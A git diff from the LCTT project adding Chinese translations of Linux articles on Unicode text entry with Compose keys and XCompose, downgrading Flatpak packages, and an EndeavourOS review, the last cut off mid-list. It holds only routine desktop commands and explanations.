是一个沙盒式的打包解决方案,你可能不会面临任何与过时的软件包有关的问题,但你肯定会错过新的功能和修复。 + +这就是为什么我建议每隔几周运行一次 Flatpak 更新命令。 + +我希望你喜欢这个快速的 Flatpak 小技巧。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/update-flatpak/ + +作者:[Sagar Sharma][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/sagar/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/package-manager/ +[2]: https://itsfoss.com/update-ubuntu/ +[3]: https://itsfoss.com/content/images/wordpress/2022/12/3.-update-flatpak-packages-in-linux.png +[4]: https://itsfoss.com/content/images/wordpress/2022/12/3.-update-flatpak-packages-in-linux.png +[5]: https://itsfoss.com/content/images/wordpress/2022/12/4.-update-specific-package-in-flatpak.png +[6]: https://itsfoss.com/content/images/wordpress/2022/12/1.-open-software-center-in-ubuntu.png +[7]: https://itsfoss.com/content/images/wordpress/2022/12/2.-update-flatpak-from-software-center.png +[0]: https://img.linux.net.cn/data/attachment/album/202301/03/154131lop17rnnrkiprkl7.jpg \ No newline at end of file diff --git a/published/202301/20221213.1 ⭐️⭐️⭐️ Battle of the Texts and the Unicode Savior.md b/published/202301/20221213.1 ⭐️⭐️⭐️ Battle of the Texts and the Unicode Savior.md new file mode 100644 index 0000000000..8b3c348927 --- /dev/null +++ b/published/202301/20221213.1 ⭐️⭐️⭐️ Battle of the Texts and the Unicode Savior.md @@ -0,0 +1,262 @@ +[#]: subject: "Battle of the Texts and the Unicode Savior" +[#]: via: "https://itsfoss.com/unicode-linux/" +[#]: author: "Sylvain Leroux https://www.yesik.it/" +[#]: collector: "lkxed" +[#]: translator: "yzuowei" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15483-1.html" + +文字间的战斗与其救世主 Unicode +====== + +![][0] + +我们都知道如何从键盘输入文字,不是吗? + +那么,请允许我挑战你在你最爱的文本编辑器中输入这段文字: + +![«Ayumi moved to Tokyo in 1993 to pursue her career» said Dmitrii][1] + +这段文字难以被输入因为它包含着: + +- 键盘上没有的印刷符号, +- 平假名日文字符, +- 为符合平文式罗马字标准,日本首都的名字中的两个字母 “o” 头顶带有长音符号, +- 以及最后,用西里尔字母拼写的名字德米特里。 + +毫无疑问,想要在早期的电脑中输入这样的句子是不可能的。这是因为早期电脑所使用的字符集有限,无法兼容多种书写系统。而如今类似的限制已不复存在,马上我们就能在文中看到。 + +### 电脑是如何储存文字的? + +计算机将字符作为数字储存。它们再通过表格将这些数字与含有意义的字形一一对应。 + +在很长一段时间里,计算机将每个字符作为 0 到 255 之间的数字储存(这正好是一个字节的长度)。但这用来代表人类书写所用到的全部字符是远远不够的。而解决这个问题的诀窍在于,取决于你住在地球上的哪一块区域,系统会分别使用不同的对照表。 + +这里有一张在法国常被广泛使用的对照表 [ISO 8859-15][2]: + +![The ISO 8859-15 encoding][3] + +如果你住在俄罗斯,你的电脑大概会使用 [KOI8-R][4] 或是 [Windows-1251][5] 来进行编码。现在让我们假设我们在使用后者: + +![The Windows-1251 encoding is a popular choice to store text written using the Cyrillic alphabets][6] + +对于 128 之前的数字,两张表格是一样的。这个范围与 [US-ASCII][7] 相对应,这是不同字符表格之间的最低兼容性。而对于 128 之后的数字,这两张表格则完全不同了。 + +比如,依据 Windows-1251,字符串 “said Дмитрий” 会被储存为: + +``` +115 97 105 100 32 196 236 232 242 240 232 233 +``` + +按照计算机科学的常规方法,这十二个数字可被写成更加紧凑的十六进制: + +``` +73 61 69 64 20 c4 ec e8 f2 f0 e8 e9 +``` + +如果德米特里发给我这份文件,我在打开后可能会看到: + +``` +said Äìèòðèé +``` + +这份文件 _看起来_ 被损坏了,实则不然。这些储存在文件里的数据,即数字,并没有发生改变。被显示出的字符与 _另一张表格_ 中的数据相对应,而非文字最初被写出来时所用的编码表。 + +让我们来举一个例子,就以字符 “Д” 为例。按照 Windows-1251,“Д” 的数字编码为 196(c4)。储存在文件里的只有数字 196。而正是这同样的数字在 ISO8859-15 中与 “Ä” 相对应。这就是为什么我的电脑错误地认为字形 “Ä” 就是应该被显示的字形。 + +![When the same text file is written then read again but using a different encoding][8] + +多提一句,你依然可以时不时地看到一些错误配置的网站展示,或由 [用户邮箱代理][9] 发出的对收件人电脑所使用的字符编码做出错误假设的邮件。这样的故障有时被称为乱码(LCTT 译注:原文用词为 [mojibake][10], 源自日语 _文字化け_)。好在这种情况在今天已经越来越少见了。 + +![Example of Mojibake on the website of a French movie distributor. The website name has been changed to preserve the innocent.][11] + +### Unicode 拯救了世界 + +我解释了不同国家间交换文件时会遇到的编码问题。但事情还能更糟,同一个国家的不同生产商未必会使用相同的编码。如果你在 80 年代用 Mac 和 PC 互传过文件你就懂我是什么意思了。 + +也不知道是不是巧合,[Unicode][12] 项目始于 1987 年,主导者来自施乐Xerox和……苹果Apple 。 + +这个项目的目标是定义一套通用字符集来允许同一段文字中 _同时_ 出现人类书写会用到的任何文字。最初的 Unicode 项目被限制在 65536 个不同字符(每个字符用 16 位表示,即每个字符两字节)。这个数字已被证实是远远不够的。 + +于是,在 1996 年 Unicode 被扩展以支持高达 100 万不同的 [代码点][13]code point。粗略来说,一个“代码点”可被用来识别字符表中的一个条目。Unicode 项目的一个核心工作就是将世界上正在被使用(或曾被使用)的字母、符号、标点符号以及其他文字仓管起来,并给每一项条目分配一个代码点用以准确分辨对应的字符。 + +这是一个庞大的项目:为了让你有个大致了解,发布于 2017 年的 Unicode 版本 10 定义了超过 136,000 个字符,覆盖了 139 种现代和历史上的语言文字。 + +随着如此庞大数量的可能性,一个基本的编码会需要每个字符 32 位(即 4 字节)。但对于主要使用 US-ASCII 范围内字符的文字,每个字符 4 字节意味着 4 倍多的储存需求以及 4 倍多的带宽用以传输这些文字。 + +![Encoding text as UTF-32 requires 4 bytes per character][14] + +所以除了 [UTF-32][15],Unicode 联盟还定义了更加节约空间的 [UTF-16][16] 和 [UTF-8][17] 编码,分别使用了 16 位和 8 位。但只有 8 位该如何储存超过 100,000 个不同的值呢?事实是,你不能。但这其中窍门在于用一个代码值(UTF-8 中的 8 位以及 UTF-16 中的 16 位)来储存最常用的一些字符。再用几个代码值储存最不常用的一些字符。所以说 UTF-8 和 UTF-16 是 _可变长度_ 编码。尽管这样也有缺陷,但 UTF-8 是空间与时间效率之间一个不错的折中。更不用提 UTF-8 可以向后兼容大部分 Unicode 之前的 1 字节编码,因为 UTF-8 经过了特别设计,任何有效的 US-ASCII 文件都是有效的 UTF-8 文件。你也可以说,UTF-8 是 US-ASCII 的超集。而在今天已经找不到不用 UTF-8 编码的理由了。当然除非你书写主要用的语言需要多字节编码,或是你不得不与一些残留的老旧系统打交道。 + +在下面两张图中,你可以亲自比较一下同一字符串的 UTF-16 和 UTF-8 编码。特别注意 UTF-8 使用了一字节来储存拉丁字母表中的字符,但它使用了两字节来存储西里尔字母表中的字符。这是 Windows-1251 西里尔编码储存同样字符所需空间的两倍。 + +![UTF-16 is a variable length encoding requiring 2 bytes to encode most characters. Some character still requires 4 bytes though (for example][18] + +![UTF-8 is a variable length encoding requiring 1, 2, 3 or 4 bytes per character][19] + +### 而这些对于打字有什么用呢? + +啊……知道一些你的电脑的能力与局限以及其底层机制也不是什么坏事嘛。特别是我们马上就要说到 Unicode 和十六进制。现在……让我们再聊点历史。真的就一点,我保证…… + +……就说从 80 年代起,电脑键盘曾经有过 [`Compose` 键][20](有时候也被标为 `Multi` 键)就在 `Shift` 键的下边。当按下这个键时,你会进入 “组合Compose” 模式。一旦在这个模式下,你便可以通过输入助记符来输入你键盘上没有的字符。比如说,在组合模式下,输入 RO 便可生成字符 ®(当作是 O 里面有一个 R 就能很容易记住)。 + +![Compose key on lk201 keyboard][21] + +现在很难在现代键盘上看到 `Compose` 键了。这大概是因为占据主导地位的 PC 不再用它了。但是在 Linux 上(可能还有其他系统)你可以模拟 `Compose` 键。这项设置可以通过 GUI 开启,在大多数桌面环境下调用“键盘”控制面板:但具体的步骤取决于你的桌面环境以及版本。如果你成功启用了那项设置,不要犹豫,在评论区分享你在你电脑上所采取的具体步骤。 + +(LCTT 译注:如果有读者想要尝试,建议将 `Compose` 键设为大写锁定键,或是别的不常用的键,`Ctrl` 和 `Alt` 会被大部分 GUI 程序优先识别为功能键。还有一些我自己试验时遇到过的问题,在开启 `Compose` 键前要确认大写锁定是关闭的,输入法要切换成英文,组合模式下输入大小写敏感。我试验的系统是 Ubuntu 22.04 LTS。) + +至于我自己嘛,我现在先假设你用的就是默认的 `Shift+AltGr` 组合来模拟 `Compose` 键。(LCTT 校注:`AltGr` 在欧洲键盘上是指右侧的 `Alt` 键,在国际键盘上等价于 `Ctrl+Alt` 组合键。) + +那么,作为一个实际例子,尝试输入 “LEFT-POINTING DOUBLE ANGLE QUOTATION MARK(左双角引号)”(LCTT 译注:Guillemet,是法语和一些欧洲语言中的引号,与中文的书名号不同),你可以输入 `Shift+AltGr` `<<`(你在敲助记符时不需要一直按着 `Shift+AltGr`)。如果你成功输入了这个符号,你自己应该也能猜到要怎么输入 “RIGHT-POINTING DOUBLE ANGLE QUOTATION MARK(右双角引号)” 了。 + +来看看另一个例子,试试 `Shift+AltGr` `---` 来生成一个 “EM DASH(长破折号)”(LCTT 译注:中文输入法的长破折号由两个 “EM DASH” 组成)。要做到这个,你需要按下主键盘上的的 [连字符减号][22] 键而非数字键盘上的那个。 + +值得注意的是 `Compose` 键在非 GUI 环境下也能工作。但是取决于你使用的是 X11 控制台还是只显示文字的控制台,它们所支持的组合按键顺序并不相同。 + +在控制台上,你可以通过命令 `dumpkeys` 来查看支持的组合按键列表(LCTT 译注:可能需要 root 权限): + +``` +dumpkeys --compose-only +``` + +在 GUI 下,组合键是在 Gtk/X11 层被实现的。想要知道 Gtk 所支持的助记符,可以查看页面:[https://help.ubuntu.com/community/GtkComposeTable][23] + +### 我们可以避免对 Gtk 字符组合的依赖吗? + +或许我是个纯粹主义者,但是我为 Gtk 这种对 Compose 键进行硬编码的方式感到悲哀。毕竟,不是所有 GUI 应用都会使用 Gtk 库。而且我如果想要添加我自己的助记符的话就只能重新编译 Gtk 了。 + +幸好在 X11 层也有对字符组合的支持。在以前则是通过令人尊敬的 [X 输入法(XIM)][24]。 + +这个方法在比起基于 Gtk 的字符组合能够在更加底层的地方工作,同时具备优秀的灵活性并兼容很多 X11 应用。 + +比如说,假设我只是想要添加 `-->` 组合来输入字符 `→` (U+2192,RIGHTWARDS ARROW(朝右箭头)),我只需要新建 `~/.XCompose` 文件并写入以下代码: + +``` +cat > ~/.XCompose << EOT +# Load default compose table for the current local +include "%L" + +# Custom definitions + : U2192 # RIGHTWARDS ARROW +EOT +``` + +然后你就可以启动一个新的 X11 应用,强制函数库使用 XIM 作为输入法,并开始测试: + +``` +GTK_IM_MODULE="xim" QT_IM_MODULE="xim" xterm +``` + +新的组合排序应该可以在你刚启动的应用里被输入了。我鼓励你通过 `man 5 compose` 来进一步学习组合文件格式。 + +在你的 `~/.profile` 中加入以下两行来将 XIM 设为你所有应用的默认输入法。这些改动会在下一次你登录电脑时生效: + +``` +export GTK_IM_MODULE="xim" +export QT_IM_MODULE="xim" +``` + +这挺酷的,不是吗?这样你就可以随意的加入你想要的组合排序。而且在默认的 XIM 设置中已经有几个有意思的组合了。试一下输入组合键 `LLAP`。 + +但我不得不提到两个缺陷。XIM 已经比较老了,而且只适合我们这些不太需要多字节输入法的人。其次,当你用 XIM 作为输入法的时候,你就不能利用 `Ctrl+Shift+u` 加上代码点来输入 Unicode 字符了。什么?等一下?我还没聊过那个?让我们现在来聊一下吧: + +### 如果我需要的字符没有对应的组合键排序该怎么办? + +组合键是一个不错的工具,它可以用来输入一些键盘上没有的字符。但默认的组合集有限,而切换 XIM 并为一个你一生仅用一次的字符来定义一个新的组合排序十分麻烦。 + +但这能阻止你在同一段文字里混用日语、拉丁语,还有西里尔字符吗?显然不能,这多亏了 Unicode。比如说,名字 “あゆみ” 由三个字母组成: + +- [“HIRAGANA LETTER A(平假名字母 あ)” (U+3042)][25] +- [“HIRAGANA LETTER YU(平假名字母 ゆ)” (U+3086)][26] +- 以及 [“HIRAGANA LETTER MI(平假名字母 み)” (U+307F)][27] + +我在上文提及了 Unicode 字符的正式名称,并遵循了全部用大写拼写的规范。在它们的名字后面,你可以找到它们的 Unicode 代码点,位于括号之间并写作 16 位的十六进制数字。这让你想到什么了吗? + +不管怎样,一旦你知道了的一个字符的代码点,你就可以按照以下组合输入: + +- `Ctrl+Shift+u`,然后是 `XXXX`(你想要的字符的 _十六进制_ 代码点)然后回车。 + +作为一种简写方式,如果你在输入代码点时不松开 `Ctrl+Shift`,你就不用敲回车。 + +不幸的是,这项功能的实现是在软件库层而非 X11 层,所以对其支持在不同应用间并不统一。以 LibreOffice 为例,你必须使用主键盘来输入代码点。而在基于 Gtk 的应用则接受来自数字键盘的输入。 + +最后,当我和我的 Debian 系统上的控制台打交道时,我发现了一个类似的功能,但它需要你按下 `Alt+XXXXX` 而 `XXXXX` 是你想要的字符的 _十进制_ 的代码点。我很好奇这究竟是 Debian 独有的功能,还是因为我使用的语言环境(Locale) 是 `en_US.UTF-8`。如果你对此有更多信息,我会很愿意在评论区读到它们的! + +| GUI | 控制台 | 字符 | +| :- | :- | :- | +| `Ctrl+Shift+u` `3042` `Enter` | `Alt+12354` | あ | +| `Ctrl+Shift+u` `3086` `Enter` | `Alt+12422` | ゆ | +| `Ctrl+Shift+u` `307F` `Enter` | `Alt+12415` | み | + +### 死键 + +最后值得一提的是,想要不(必须)依赖 Compose 键来输入键组合还有一个更简单的方法。 + +你的键盘上的某些键是专门用来创造字符组合的。这些键叫做 [死键][28]Dead Key。这是因为当你按下它们一次,看起来什么都没有发生,但它们会悄悄地改变你下一次按键所产生的字符。这个行为的灵感来自于机械打字机:在使用机械打字机时,按下一个死键会印下一个字符,但不会移动字盘。于是下一次按键则会在同一个地方印下另一个字符。视觉效果就是两次按键的组合。 + +我们在法语里经常用到这个。举例来说,想要输入字母 `ë` 我必须按下死键 `¨` 然后再按下 `e` 键。同样地,西班牙人的键盘上有着死键 `~`。而在北欧语系下的键盘布局,你可以找到 `°` 键。我可以念很久这份清单。 + +![hungary dead keys][29] + +显然,不是所有键盘都有所有死键。实际上,你的键盘上是找不到大部分死键的。比如说,我猜在你们当中只有小部分人——如果真的有的话——有死键 `¯` 来输入 `Tōkyō` 所需要的长音符号(“平变音符”)。 + +对于那些你键盘上没有的死键,你需要寻找别的解决方案。好消息是,我们已经用过那些技术了。但这一次我们要用它们来模拟死键,而非“普通”键。 + +那么,我们的第一个选择是利用 `Compose` `-` 来生成长音符号(你键盘上有的连字符减号)。按下时屏幕上什么都不会出现,但当你接着按下 `o` 键你就能看到 `ō`。 + +Gtk 在组合模式下可以生成的一系列死键都能在 [这里][30] 找到。 + +另一个解决方法则是利用 Unicode 字符 “COMBINING MACRON(组合长音符号)”(U+0304),然后字母 `o`。我把细节都留给你。但如果你好奇的话,你会发现你打出的结果有着微妙的不同,你并没有真地打出 “LATIN SMALL LETTER O WITH MACRON(小写拉丁字母 O 带长音符号)”。我在上一句话的结尾用了大写拼写,这就是一个提示,引导你寻找通过 Unicode 组合字符按更少的键输入 `ō` 的方法……现在我将这些留给你的聪明才智去解决了。 + +### 轮到你来练习了! + +所以,你都学会了吗?这些在你的电脑上工作吗?现在轮到你来尝试了:根据上面提出的线索,加上一点练习,现在你可以完成文章开头给出的挑战了。挑战一下吧,然后把成果复制到评论区作为你成功的证明。 + +赢了也没有奖励,或许来自同伴的惊叹能够满足你! + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/unicode-linux/ + +作者:[Sylvain Leroux][a] +选题:[lkxed][b] +译者:[yzuowei](https://github.com/yzuowei) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.yesik.it/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/content/images/wordpress/2017/10//text-challenge.png +[2]: https://en.wikipedia.org/wiki/ISO/IEC_8859-15 +[3]: https://itsfoss.com/content/images/wordpress/2017/10//ISO_8859-15.png +[4]: https://en.wikipedia.org/wiki/KOI8-R +[5]: https://en.wikipedia.org/wiki/Windows-1251 +[6]: https://itsfoss.com/content/images/wordpress/2017/10//Windows-1251.png +[7]: https://en.wikipedia.org/wiki/ASCII +[8]: https://itsfoss.com/content/images/wordpress/2017/10//windows-1251-to-iso8859-15-encoding-decoding-error-example.png +[9]: https://en.wikipedia.org/wiki/Email_client +[10]: https://en.wikipedia.org/wiki/Mojibake +[11]: https://itsfoss.com/content/images/wordpress/2017/10/Mojibake-french-example.png +[12]: https://en.wikipedia.org/wiki/Unicode +[13]: https://en.wikipedia.org/wiki/Code_point +[14]: https://itsfoss.com/content/images/wordpress/2017/10//unicode-utf-32-encoding-example.png +[15]: https://en.wikipedia.org/wiki/UTF-32 +[16]: https://en.wikipedia.org/wiki/UTF-16 +[17]: https://en.wikipedia.org/wiki/UTF-8 +[18]: https://itsfoss.com/content/images/wordpress/2017/10//unicode-utf-16-encoding-example.png +[19]: https://itsfoss.com/content/images/wordpress/2017/10//unicode-utf-8-encoding-example.png +[20]: https://en.wikipedia.org/wiki/Compose_key +[21]: https://itsfoss.com/content/images/wordpress/2022/12/compose_key_on_lk201_keyboard.jpg +[22]: https://en.wikipedia.org/wiki/Hyphen-minus +[23]: https://help.ubuntu.com/community/GtkComposeTable +[24]: https://en.wikipedia.org/wiki/X_Input_Method +[25]: http://www.fileformat.info/info/unicode/char/3042/index.htm +[26]: http://www.fileformat.info/info/unicode/char/3086/index.htm +[27]: http://www.fileformat.info/info/unicode/char/307F/index.htm +[28]: https://en.wikipedia.org/wiki/Dead_key +[29]: https://itsfoss.com/content/images/wordpress/2022/12/hungary_dead_keys.png +[30]: https://help.ubuntu.com/community/GtkDeadKeyTable +[0]: https://img.linux.net.cn/data/attachment/album/202301/27/123501fod5doujjgo5jfjk.jpg \ No newline at end of file diff --git a/published/202301/20221220.1 ⭐️ How to Downgrade Flatpak Packages in Linux.md b/published/202301/20221220.1 ⭐️ How to Downgrade Flatpak Packages in Linux.md new file mode 100644 index 0000000000..dfc488c153 --- /dev/null +++ b/published/202301/20221220.1 ⭐️ How to Downgrade Flatpak Packages in Linux.md @@ -0,0 +1,117 @@ +[#]: subject: "How to Downgrade Flatpak Packages in Linux" +[#]: via: "https://itsfoss.com/downgrade-flatpak-packages/" +[#]: author: "Sagar Sharma https://itsfoss.com/author/sagar/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15402-1.html" + +如何在 Linux 中降级 Flatpak 软件包 +====== + +![][0] + +> Flatpak 软件包的一个鲜为人知的特点是,它允许你对已安装的应用程序进行降级。下面是如何使用它的方法。 + +从技术上讲,小版本或次要更新是为了解决问题。但是,当某些更新破坏你当前的工作流程时,情况可能会变得更糟。 + +无论是 Flatpak 包还是 Snap,当出现问题时,一切都会在某个时候崩溃。作为一个沙盒打包方案,它可能不会影响整个系统,但如果你遇到一个让你的应用体验变差的错误,你可能会后悔更新。 + +比如之前 [Black Box][1] 的更新就带来了一些错误,无法选择文字!开发人员现在已经解决了这个问题,但在他们没有解决之前,我降级了那个特定的包以使其正常工作。 + +所以,如果你想降级特定的 Flatpak 应用,你可以按照本指南进行操作。 + +### 在 Linux 中降级 Flatpak 包 + +**免责声明:** 与安装 Flatpak 不同,你需要 `sudo` 权限才能降级 Flatpak 包。如果你的用户没有该权限,你可以按照我们关于 [如何向用户授予 sudo 访问权限][2] 的详细指南进行操作。 + +以下是步骤: + +#### 1、获取包的应用 ID + +第一步是找到要降级的包的应用 ID。你可以列出已安装的软件包轻松找到它: + +``` +flatpak list --app +``` + +![find flatpak package id in linux][4] + +记下要降级的包的应用 ID。 + +这里,我要降级 Black Box,所以我的应用 ID 将是 `com.raggesilver.BlackBox`。 + +#### 2、列出以前的版本并获取该提交的代码 + +获得应用 ID 后,你需要列出以前的版本。 + +你可以按照给定的命令语法做到这点: + +``` +flatpak remote-info --log flathub +``` + +![find previous releases in flatpak][5] + +找到首选的先前版本后,复制如上所示的提交的代码。 + +#### 3、降级 Flatpack 包 + +执行前两个步骤后,你应该有以下内容: + +- 包的应用 ID。 +- 首选旧版本的提交代码。 + +现在,你必须将它们放在以下命令中: + +``` +sudo flatpak update --commit= +``` + +当我将 Black Box 降级到以前的版本时,我将使用以下命令: + +``` +sudo flatpak update --commit=c4ef3f4be655cbe2559451a9ef5977ab28139c54bb5adbd7db812f3482bd0db5 com.raggesilver.BlackBox +``` + +![downgrade flatpak package in linux][6] + +这就完成了! + +要检查你是否已成功降级软件包,你可以列出需要更新的软件包(考虑到其他所有内容都是最新的)。它应该包括你最近降级的软件包的名称: + +``` +flatpak update +``` + +![downgrade flatpak package][7] + +如你所见,Black Box 已过时,需要更新,这意味着包已成功降级! + +### 总结 + +在本快速教程中,我解释了如何降级 Flatpak 软件包,希望对你有所帮助。 + +如果你有任何疑问或建议,请在评论中告诉我。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/downgrade-flatpak-packages/ + +作者:[Sagar Sharma][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/sagar/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/blackbox-terminal/ +[2]: https://itsfoss.com/add-sudo-user-ubuntu/ +[4]: https://itsfoss.com/content/images/wordpress/2022/12/find-flatpak-package-id-in-linux.png +[5]: https://itsfoss.com/content/images/wordpress/2022/12/find-previous-releases-in-flatpak-1.png +[6]: https://itsfoss.com/content/images/wordpress/2022/12/downgrade-flatpak-package-in-linux.png +[7]: https://itsfoss.com/content/images/wordpress/2022/12/downgrade-flatpak-package.png +[0]: https://img.linux.net.cn/data/attachment/album/202301/01/160400h0mmppwwvxd004bm.jpg \ No newline at end of file diff --git a/published/202301/20221221.0 ⭐️⭐️ EndeavourOS Your Search for Perfect Arch Distro Ends Here.md b/published/202301/20221221.0 ⭐️⭐️ EndeavourOS Your Search for Perfect Arch Distro Ends Here.md new file mode 100644 index 0000000000..c124152828 --- /dev/null +++ b/published/202301/20221221.0 ⭐️⭐️ EndeavourOS Your Search for Perfect Arch Distro Ends Here.md @@ -0,0 +1,135 @@ +[#]: subject: "EndeavourOS: Your Search for Perfect Arch Distro Ends Here" +[#]: via: "https://www.debugpoint.com/endeavouros-review/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15476-1.html" + +EndeavourOS:你对完美的 Arch 发行版的搜寻到此为止 +====== + +![][0] + +> 我们整体点评了最近发布的 EndeavourOS “Cassini”。 + +每年,个人和小型团队们推出了数以百计的 Linux 发行版。它们大多是 Debian、Ubuntu、Fedora 或 Arch Linux 的直接衍生品,再加上一些定制的东西。这也难怪每年都有因为缺乏贡献、愿景和坚持而死亡的发行版。 + +三年前,作为已停止的 Antergos 项目的延续,一个由贡献者们组成的小团队发起了 EndeavourOS 项目。从那时起,由于其安装简单,用户体验和功能,它已经变得很受欢迎。 + +![具备 Xfce 桌面的 EndeavourOS][1] + +### 点评 EndeavourOS + +如果你曾经试过它,你就会很明显地发现,他们花了很多心血来开发这个发行版。这个发行版的口号是成为一个面向大众的 “通用” Arch Linux 发行版,摒弃了新用户对 Arch Linux 安装的恐惧,以及使用 Arch 时的优越感。 + +如果你曾经尝试过 EndeavourOS,你一定会 “感觉” 到作为一个 Arch 发行版,对最终用户来说,在桌面上执行的事情是多么的 “容易”。 + +#### 安装和可供选择的桌面 + +通过 “独有的” Calamares 安装程序,它的安装变得超级简单。除此之外,EndeavourOS 团队还特别注意在安装步骤中为你提供了大部分的选项。例如,无需用户干预的临场介质直接启动。它会启动欢迎屏幕。欢迎屏幕要做的事就是提供让你在系统中安装它所有必要选项。 + +![EndeavourOS 欢迎屏幕][2] + +默认情况下,ISO 提供了一个轻量级的 Xfce 桌面。然而,EndeavourOS 也为你提供了各种桌面环境和窗口管理器(见下文)。而且它们都经过测试,可以正常工作。如果你在安装过程中连接到了互联网,你可以通过 Calamares 安装程序来安装这些。这意味着你不需要在基本的 Xfce 设置后重新安装它们。 + +此外,如果你是一个资深用户,只想安装一个基本的 Arch Linux,不需要任何桌面,那也是可以的。只要在安装时使用 “无桌面No desktop” 选项就可以了! + +尽管 Arch Linux 最近创建了一个自动脚本 `archinstall` 来使安装更容易,但通过 EndeavourOS 的 ISO 来获得 Arch 的基本安装仍然更快、更容易。 + +![EndeavourOS 安装程序显示无桌面和其他选项][3] + +此外,你可以在三个选项中选择:GRUB、systemd-boot 或 “无启动器no bootloader”,这是 EndeavourOS “Cassini” 版本的亮点功能之一。此外,你还可以选择你要安装的软件包(仅在线模式支持)。例如,你可能需要一个基本的系统来开始使用。或者,你可能想安装一些与视频/音频或开发工作有关的应用程序。所有这些你都可以在这个版本中选择。 + +安装通过检测我的测试机中安装的其他操作系统而完成,很顺利。在“Cassini” 版本中,该团队还将 mkinitcpio 换成了 [dracut][4],以获得更好的性能,减少启动相关问题的失败。 + +#### “Xfce” 旗舰版的桌面体验 + +第一次登录后,你会再次看到欢迎程序,其中有一个 “安装后” 可以做的项目列表。开发人员提供了一个非常周到的列表。这包括改变墙纸、更新 Arch 镜像、安装英伟达驱动等初始任务。许多 Linux 发行版都有一个欢迎程序,但我认为这个程序是一个完善的软件包。 + +![欢迎应用中的安装后项目][5] + +默认的外观是你能得到的定制的最好的 Xfce 桌面。通过定制,它成为一个外观良好的发行版,远非默认的 Xfce 可比。定制包括 GRUB 菜单、登录屏幕和桌面等等。 + +Xfce 主菜单配置了更多的项目,终端略带透明,使用 Qogir 图标主题。所有这些变化都辅以令人惊叹的壁纸和 Arc-Darker 默认 Xfce 主题。 + +![EndeavourOS “Cassini” 桌面带有 Xfce 4.18][6] + +#### 性能 + +尽管有桌面环境,Arch Linux 的性能总是更好。它总是令人感觉更快,因为它的内部并不臃肿。除此之外,[Xfce 桌面 4.18][7] 在 “Cassini” 版本中还做了额外的性能优化,你可以在浏览桌面的时候感受到。 + +在空闲状态下,它使用了大约 700MB 的内存和平均 4% 的 CPU 占用。这是性能基线。资源使用量可能会根据你打开的应用程序的数量而增加。在我之前对 EndeavourOS 的点评中,其性能表现也类似。 + +不仅如此,它在默认的 Xfce 安装中只使用了 4GB 的磁盘空间。然而,你可能需要安装额外的重型软件,如 LibreOffice、GIMP 或 KDenlive,这将占用更多磁盘空间。 + +![EndeavourOS “Cassini” 的性能][8] + +#### 在 EndeavourOS 中执行日常任务有多容易? + +EndeavourOS 的一大特点是一些基于 Python 的 GUI 工具,可以使你在 Arch Linux 中的生活变得简单。例如,你可以从 Arch 和 EndeavourOS 的软件仓库中获得更新通知、一键从 AUR 安装软件、一键更新镜像和你的系统。你不需要从终端运行任何命令。这对 Arch Linux 的新用户来说是一个很大的帮助。 + +![一键安装软件][9] + +![软件包清理器和更新管理器][10] + +#### 处理滚动发布的独特方式,以实现稳定性 + +Arch Linux 作为一个滚动发布的发行版,往往会出现故障。例如,在 Arch 主仓库的每个月的内核更新期间,一些系统可能会出现故障。由于它的受欢迎程度和开发者的主动性,如果出现问题,你会得到通知和相关的解决方法。 + +最近 Arch Linux 中的 GRUB 问题,给用户带来了大量的启动问题,EndeavourOS 团队通过适当的沟通,给用户提供了解决方法,真的 [处理得很好][11]。 + +因此,如果你最终遇到一个不稳定的系统,你也不会真的迷失。 + +此外,Pacman 的配置已被定制过,使用 EndeavourOS 选择的镜像,以确保你的体验是完美的。 + +#### 对开源硬件和 ARM 的正式支持 + +在这个 EndeavourOS “Cassini” 版本中,官方支持了 Pinebook Pro 笔记本电脑。该团队在 Manjaro 软件包的基础上与 Pine64 团队合作,为你提供了独家的 Arch 软件包,使该笔记本开箱即用。此外, EndeavourOS ARM 镜像也可用于树莓派 4。 + +#### 社区帮助 + +EndeavourOS 最大的好处之一是社区帮助 —— 这是即时的!这主要是指其专门的 [Telegram 频道][12],在那里你可以在几分钟内得到对你的 EndeavourOS 的任何问题的回应。我曾经去过这个频道,管理员/贡献者们都很友好,很有帮助。 + +此外,你也可以从官方论坛和其他社交渠道获得帮助。 + +### 总结 + +在结束对 EndeavourOS 的 [“Cassini” 版本][13] 的点评时,我想说这是一个构建得最好的发行版,而且组织良好。开发者和团队有一个建立通用的 Arch Linux 发行版的清晰路线图。另外,通过对 ARM 和 Pinebook Pro 的支持以及其他举措,其愿景也很明确。 + +总而言之,对于每一个希望在 Arch Linux 中拥有一个运行时间更长、更稳定的系统的人来说,这是一个完美的发行版。 + +你可以从 [官方网站][14] 下载 EndeavourOS。 + +让我们举杯! + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/endeavouros-review/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: 